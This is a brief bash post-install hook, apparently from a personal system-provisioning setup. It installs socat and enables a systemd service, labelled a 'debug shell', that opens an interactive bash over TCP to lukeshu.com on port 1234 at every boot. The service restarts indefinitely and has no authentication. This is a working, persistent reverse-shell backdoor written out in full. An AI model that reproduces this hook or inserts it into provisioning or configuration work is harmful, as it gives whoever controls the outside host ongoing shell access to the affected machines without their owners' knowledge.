#!/hint/bash packages+=( socat ) post_install+=(10:lukeshu-debug:post_install) lukeshu-debug:post_install() { local arg_mountpoint=$1 cat <<-'EOT' > "${arg_mountpoint}/etc/systemd/system/lukeshu-debug.service" [Unit] Description=debug shell Wants=network-online.target After=network-online.target [Service] Type=simple ExecStart=/bin/socat 'SYSTEM:bash -i 2>&1' TCP-CONNECT:lukeshu.com:1234 Restart=always [Install] WantedBy=multi-user.target EOT systemctl --root="$arg_mountpoint" enable lukeshu-debug.service }